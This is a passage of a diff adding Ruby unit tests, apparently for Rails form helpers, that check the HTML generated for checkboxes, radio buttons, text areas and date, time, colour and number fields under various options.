+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
+ @post.secret = 0.0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 1.1
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 2.2
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+ @post.secret = BigDecimal.new(0)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = BigDecimal.new(1)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = BigDecimal.new(2.2, 1)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_nil_unchecked_value
+ @post.secret = "on"
+ assert_dom_equal(
+ '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", nil)
+ )
+ end
+
+ def test_check_box_with_nil_unchecked_value_is_html_safe
+ assert check_box("post", "secret", {}, "on", nil).html_safe?
+ end
+
+ def test_check_box_with_multiple_behavior
+ @post.comment_ids = [2,3]
+ assert_dom_equal(
+ '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
+ check_box("post", "comment_ids", { multiple: true }, 1)
+ )
+ assert_dom_equal(
+ '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
+ check_box("post", "comment_ids", { multiple: true }, 3)
+ )
+ end
+
+ def test_check_box_with_multiple_behavior_and_index
+ @post.comment_ids = [2,3]
+ assert_dom_equal(
+ '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ )
+ assert_dom_equal(
+ '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
+ check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
+ )
+
+ end
+
+ def test_checkbox_disabled_disables_hidden_field
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", { disabled: true })
+ )
+ end
+
+ def test_checkbox_form_html5_attribute
+ assert_dom_equal(
+ '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", form: "new_form")
+ )
+ end
+
+ def test_radio_button
+ assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
+ radio_button("post", "title", "Hello World")
+ )
+ assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
+ radio_button("post", "title", "Goodbye World")
+ )
+ assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
+ radio_button("item[subobject]", "title", "inside world")
+ )
+ end
+
+ def test_radio_button_is_checked_with_integers
+ assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
+ radio_button("post", "secret", "1")
+ )
+ end
+
+ def test_radio_button_with_negative_integer_value
+ assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
+ radio_button("post", "secret", "-1"))
+ end
+
+ def test_radio_button_respects_passed_in_id
+ assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
+ radio_button("post", "secret", "1", id: "foo")
+ )
+ end
+
+ def test_radio_button_with_booleans
+ assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
+ radio_button("post", "secret", true)
+ )
+
+ assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
+ radio_button("post", "secret", false)
+ )
+ end
+
+ def test_text_area_placeholder_without_locales
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]" placeholder="Body">\nBack to the hill and over it again!</textarea>},
+ text_area(:post, :body, placeholder: true)
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_locales
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_title" name="post[title]" placeholder="What is this about?">\nHello World</textarea>},
+ text_area(:post, :title, placeholder: true)
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_human_attribute_name
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_cost" name="post[cost]" placeholder="Total cost">\n</textarea>},
+ text_area(:post, :cost, placeholder: true)
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_string_value
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_cost" name="post[cost]" placeholder="HOW MUCH?">\n</textarea>},
+ text_area(:post, :cost, placeholder: "HOW MUCH?")
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_human_attribute_name_and_value
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_cost" name="post[cost]" placeholder="Pounds">\n</textarea>},
+ text_area(:post, :cost, placeholder: :uk)
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_locales_and_value
+ with_locale :placeholder do
+ assert_dom_equal(
+ %{<textarea id="post_written_on" name="post[written_on]" placeholder="Escrito en">\n2004-06-15</textarea>},
+ text_area(:post, :written_on, placeholder: :spanish)
+ )
+ end
+ end
+
+ def test_text_area_placeholder_with_locales_and_nested_attributes
+ with_locale :placeholder do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.text_area(:body, placeholder: true)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ %{<textarea id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here">\n</textarea>}
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_text_area_placeholder_with_locales_fallback_and_nested_attributes
+ with_locale :placeholder do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.text_area(:value, placeholder: true)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ %{<textarea id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag">\nnew tag</textarea>}
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_text_area
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_escapes
+ @post.body = "Back to <i>the</i> hill and over it again!"
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nBack to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_alternate_value
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
+ text_area("post", "body", value: "Testing alternate values.")
+ )
+ end
+
+ def test_text_area_with_nil_alternate_value
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\n</textarea>},
+ text_area("post", "body", value: nil)
+ )
+ end
+
+ def test_text_area_with_value_before_type_cast
+ assert_dom_equal(
+ %{<textarea id="post_id" name="post[id]">\n123</textarea>},
+ text_area("post", "id")
+ )
+ end
+
+ def test_text_area_with_html_entities
+ @post.body = "The HTML Entity for & is &amp;"
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for &amp; is &amp;amp;</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_size_option
+ assert_dom_equal(
+ %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", size: "183x820")
+ )
+ end
+
+ def test_color_field_with_valid_hex_color_string
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
+ assert_dom_equal(expected, color_field("car", "color"))
+ end
+
+ def test_color_field_with_invalid_hex_color_string
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
+ @car.color = "#1234TR"
+ assert_dom_equal(expected, color_field("car", "color"))
+ end
+
+ def test_color_field_with_value_attr
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#00FF00" />}
+ assert_dom_equal(expected, color_field("car", "color", value: "#00FF00"))
+ end
+
+ def test_search_field
+ expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
+ assert_dom_equal(expected, search_field("contact", "notes_query"))
+ end
+
+ def test_telephone_field
+ expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
+ assert_dom_equal(expected, telephone_field("user", "cell"))
+ end
+
+ def test_date_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_date_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_date_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15)
+ min_value = DateTime.new(2000, 6, 15)
+ max_value = DateTime.new(2010, 8, 15)
+ step = 2
+ assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_date_field_with_value_attr
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
+ value = Date.new(2013,6,29)
+ assert_dom_equal(expected, date_field("post", "written_on", value: value))
+ end
+
+ def test_date_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_date_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_date_field_with_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15)
+ min_value = "2000-06-15"
+ max_value = "2010-08-15"
+ assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_date_field_with_invalid_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "foo"
+ max_value = "bar"
+ assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_time_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_time_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_time_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_time_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_time_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_time_field_with_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "20:45:30.000"
+ max_value = "10:25:00.000"
+ assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_time_field_with_invalid_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "foo"
+ max_value = "bar"
+ assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_datetime_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_datetime_field_with_value_attr
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2013-06-29T13:37:00+00:00" />}
+ value = DateTime.new(2013,6,29,13,37)
+ assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
+ end
+
+ def test_datetime_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_datetime_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_field_with_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "2000-06-15T20:45:30.000+0000"
+ max_value = "2010-08-15T10:25:00.000+0000"
+ assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_datetime_field_with_invalid_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "foo"
+ max_value = "bar"
+ assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_datetime_local_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_datetime_local_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_datetime_local_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field_with_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "2000-06-15T20:45:30"
+ max_value = "2010-08-15T10:25:00"
+ assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_datetime_local_field_with_invalid_string_values_for_min_and_max
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = "foo"
+ max_value = "bar"
+ assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value))
+ end
+
+ def test_month_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 2, 13)
+ max_value = DateTime.new(2010, 12, 23)
+ step = 2
+ assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_month_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_week_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 2, 13)
+ max_value = DateTime.new(2010, 12, 23)
+ step = 2
+ assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_week_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_url_field
+ expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
+ assert_dom_equal(expected, url_field("user", "homepage"))
+ end
+
+ def test_email_field
+ expected = %{<input id="user_address" name="user[address]" type="email" />}
+ assert_dom_equal(expected, email_field("user", "address"))
+ end
+
+ def test_number_field
+ expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field("order", "quantity", in: 1...10))
+ expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field("order", "quantity", size: 30, in: 1...10))
+ end
+
+ def test_range_input
+ expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field("hifi", "volume", in: 0..11, step: 0.1))
+ expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field("hifi", "volume", size: 30, in: 0..11, step: 0.1))
+ end
+
+ def test_explicit_name
+ assert_dom_equal(
+ '<input id="post_title" name="dont guess" type="text" value="Hello World" />',
+ text_field("post", "title", "name" => "dont guess")
+ )
+ assert_dom_equal(
+ %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "name" => "really!")
+ )
+ assert_dom_equal(
+ '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
+ check_box("post", "secret", "name" => "i mean it")
+ )
+ assert_dom_equal(
+ text_field("post", "title", "name" => "dont guess"),
+ text_field("post", "title", name: "dont guess")
+ )
+ assert_dom_equal(
+ text_area("post", "body", "name" => "really!"),
+ text_area("post", "body", name: "really!")
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "name" => "i mean it"),
+ check_box("post", "secret", name: "i mean it")
+ )
+ end
+
+ def test_explicit_id
+ assert_dom_equal(
+ '<input id="dont guess" name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title", "id" => "dont guess")
+ )
+ assert_dom_equal(
+ %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "id" => "really!")
+ )
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "id" => "i mean it")
+ )
+ assert_dom_equal(
+ text_field("post", "title", "id" => "dont guess"),
+ text_field("post", "title", id: "dont guess")
+ )
+ assert_dom_equal(
+ text_area("post", "body", "id" => "really!"),
+ text_area("post", "body", id: "really!")
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "id" => "i mean it"),
+ check_box("post", "secret", id: "i mean it")
+ )
+ end
+
+ def test_nil_id
+ assert_dom_equal(
+ '<input name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title", "id" => nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "id" => nil)
+ )
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "id" => nil)
+ )
+ assert_dom_equal(
+ '<input type="radio" name="post[secret]" value="0" />',
+ radio_button("post", "secret", "0", "id" => nil)
+ )
+ assert_dom_equal(
+ '<select name="post[secret]"></select>',
+ select("post", "secret", [], {}, "id" => nil)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "id" => nil),
+ text_field("post", "title", id: nil)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "id" => nil),
+ text_area("post", "body", id: nil)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "id" => nil),
+ check_box("post", "secret", id: nil)
+ )
+ assert_dom_equal(
+ radio_button("post", "secret", "0", "id" => nil),
+ radio_button("post", "secret", "0", id: nil)
+ )
+ end
+
+ def test_index
+ assert_dom_equal(
+ '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
+ text_field("post", "title", "index" => 5)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "index" => 5)
+ )
+ assert_dom_equal(
+ '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
+ check_box("post", "secret", "index" => 5)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "index" => 5),
+ text_field("post", "title", "index" => 5)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "index" => 5),
+ text_area("post", "body", "index" => 5)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "index" => 5),
+ check_box("post", "secret", "index" => 5)
+ )
+ end
+
+ def test_index_with_nil_id
+ assert_dom_equal(
+ '<input name="post[5][title]" type="text" value="Hello World" />',
+ text_field("post", "title", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "index" => 5, 'id' => nil),
+ text_field("post", "title", index: 5, id: nil)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "index" => 5, 'id' => nil),
+ text_area("post", "body", index: 5, id: nil)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "index" => 5, 'id' => nil),
+ check_box("post", "secret", index: 5, id: nil)
+ )
+ end
+
+ def test_auto_index
+ pid = 123
+ assert_dom_equal(
+ %{<label for="post_#{pid}_title">Title</label>},
+ label("post[]", "title")
+ )
+ assert_dom_equal(
+ %{<input id="post_#{pid}_title" name="post[#{pid}][title]" type="text" value="Hello World" />},
+ text_field("post[]","title")
+ )
+ assert_dom_equal(
+ %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post[]", "body")
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+ check_box("post[]", "secret")
+ )
+ assert_dom_equal(
+ %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+ radio_button("post[]", "title", "Hello World")
+ )
+ assert_dom_equal(
+ %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+ radio_button("post[]", "title", "Goodbye World")
+ )
+ end
+
+ def test_auto_index_with_nil_id
+ pid = 123
+ assert_dom_equal(
+ %{<input name="post[#{pid}][title]" type="text" value="Hello World" />},
+ text_field("post[]", "title", id: nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post[]", "body", id: nil)
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+ check_box("post[]", "secret", id: nil)
+ )
+ assert_dom_equal(
